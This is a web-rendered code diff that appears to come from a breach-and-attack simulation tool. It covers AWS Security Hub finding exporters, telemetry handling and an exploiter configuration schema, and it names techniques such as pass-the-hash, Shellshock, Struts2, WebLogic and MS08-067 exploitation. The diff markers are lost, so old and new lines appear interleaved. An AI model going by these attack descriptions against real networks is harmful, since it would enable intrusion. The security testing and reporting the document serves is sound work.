"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=5,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_ssh_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_ssh_key_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
||||
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_elastic_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427",
|
||||
"Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
||||
issue['machine'], issue['ip_address'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Elastic Search servers are vulnerable to CVE-2015-1427",
|
||||
description="Update your Elastic Search server to version 1.4.3 and up.",
|
||||
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
||||
issue['machine'], issue['ip_address']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_island_cross_segment_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Weak segmentation - Machines from different segments are able to communicate.",
|
||||
"Description": "Segment your network and make sure there is no communication between machines from different segments.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The network can probably be segmented. A monkey instance on \
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Weak segmentation - Machines from different segments are able to communicate.",
|
||||
description="Segment your network and make sure there is no communication between machines from different segments.",
|
||||
recommendation="The network can probably be segmented. A monkey instance on \
|
||||
{0} in the networks {1} \
|
||||
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
||||
issue['networks'],
|
||||
issue['server_networks'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
issue['server_networks']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_shared_passwords_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password",
|
||||
"Description": "Some users are sharing passwords, this should be fixed by changing passwords.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "These users are sharing access password: {0}.".format(issue['shared_with'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Multiple users have the same password",
|
||||
description="Some users are sharing passwords, this should be fixed by changing passwords.",
|
||||
recommendation="These users are sharing access password: {0}.".format(issue['shared_with']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_shellshock_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'",
|
||||
"Description": "Update your Bash to a ShellShock-patched version.", "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Machines are vulnerable to 'Shellshock'",
|
||||
description="Update your Bash to a ShellShock-patched version.",
|
||||
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
||||
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
|
||||
issue['machine'], issue['ip_address'], issue['port'], issue['paths'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_smb_password_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_wmi_password_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
|
||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_wmi_pth_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_rdp_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.",
|
||||
"Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "These users are sharing access password: {shared_with}.".format(
|
||||
shared_with=issue['shared_with'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Multiple users have the same password.",
|
||||
description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
|
||||
recommendation="These users are sharing access password: {shared_with}.".format(
|
||||
shared_with=issue['shared_with']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_shared_admins_domain_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Shared local administrator account - Different machines have the same account as a local administrator.",
|
||||
"Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
|
||||
username=issue['username'], shared_machines=issue['shared_machines'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Shared local administrator account - Different machines have the same account as a local administrator.",
|
||||
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
|
||||
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
|
||||
username=issue['username'], shared_machines=issue['shared_machines']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_strong_users_on_crit_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 1,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
||||
"Description": "This critical machine is open to attacks via strong users with access to it.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
|
||||
services=issue['services'], threatening_users=issue['threatening_users'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
||||
description="This critical machine is open to attacks via strong users with access to it.",
|
||||
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
|
||||
services=issue['services'], threatening_users=issue['threatening_users']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_struts2_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.",
|
||||
"Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Struts2 servers are vulnerable to remote code execution.",
|
||||
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
|
||||
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
machine=issue['machine'], ip_address=issue['ip_address']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_weblogic_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.",
|
||||
"Description": "Install Oracle critical patch updates. Or update to the latest version. " \
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Oracle WebLogic servers are vulnerable to remote code execution.",
|
||||
description="Install Oracle critical patch updates. Or update to the latest version. " \
|
||||
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
machine=issue['machine'], ip_address=issue['ip_address']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_hadoop_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.",
|
||||
"Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
" The attack was made possible due to default Hadoop/Yarn configuration being insecure."
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Hadoop/Yarn servers are vulnerable to remote code execution.",
|
||||
description="Run Hadoop in secure mode, add Kerberos authentication.",
|
||||
recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||
"The attack was made possible due to default Hadoop/Yarn configuration being insecure.",
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
|
||||
class Exporter:
|
||||
|
||||
class Exporter(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
|
|
|
@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource):
|
|||
@staticmethod
|
||||
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
|
||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||
dst_domain_name = telemetry_json['data']['machine']['domain_name']
|
||||
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
||||
if dst_node is None:
|
||||
dst_node = NodeService.get_or_create_node(dst_ip)
|
||||
dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
|
||||
|
||||
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
||||
|
||||
|
@ -144,21 +145,20 @@ class Telemetry(flask_restful.Resource):
|
|||
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
data = copy.deepcopy(telemetry_json['data']['machine'])
|
||||
ip_address = data.pop("ip_addr")
|
||||
domain_name = data.pop("domain_name")
|
||||
new_scan = \
|
||||
{
|
||||
"timestamp": telemetry_json["timestamp"],
|
||||
"data": data,
|
||||
"scanner": telemetry_json['data']['scanner']
|
||||
"data": data
|
||||
}
|
||||
mongo.db.edge.update(
|
||||
{"_id": edge["_id"]},
|
||||
{"$push": {"scans": new_scan},
|
||||
"$set": {"ip_address": ip_address}}
|
||||
"$set": {"ip_address": ip_address, 'domain_name': domain_name}}
|
||||
)
|
||||
|
||||
node = mongo.db.node.find_one({"_id": edge["to"]})
|
||||
if node is not None:
|
||||
if new_scan["scanner"] == "TcpScanner":
|
||||
scan_os = new_scan["data"]["os"]
|
||||
if "type" in scan_os:
|
||||
mongo.db.node.update({"_id": node["_id"]},
|
||||
|
|
|
@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
{
|
||||
'id': telem['_id'],
|
||||
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
|
||||
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'],
|
||||
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'),
|
||||
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
|
||||
}
|
||||
|
||||
|
|
|
@ -9,890 +9,12 @@ from cc.database import mongo
|
|||
from cc.encryptor import encryptor
|
||||
from cc.environment.environment import env
|
||||
from cc.utils import local_ip_addresses
|
||||
from config_schema import SCHEMA
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
WARNING_SIGN = u" \u26A0"
|
||||
|
||||
SCHEMA = {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"definitions": {
|
||||
"exploiter_classes": {
|
||||
"title": "Exploit class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"title": "SMB Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WmiExploiter"
|
||||
],
|
||||
"title": "WMI Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RDP Exploiter (UNSAFE)"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Ms08_067_Exploiter"
|
||||
],
|
||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSH Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ShellShockExploiter"
|
||||
],
|
||||
"title": "ShellShock Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SambaCryExploiter"
|
||||
],
|
||||
"title": "SambaCry Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ElasticGroovyExploiter"
|
||||
],
|
||||
"title": "ElasticGroovy Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Struts2Exploiter"
|
||||
],
|
||||
"title": "Struts2 Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WebLogicExploiter"
|
||||
],
|
||||
"title": "Oracle Web Logic Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"title": "Hadoop/Yarn Exploiter"
|
||||
}
|
||||
]
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SMBFinger"
|
||||
],
|
||||
"title": "SMBFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHFinger"
|
||||
],
|
||||
"title": "SSHFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"PingScanner"
|
||||
],
|
||||
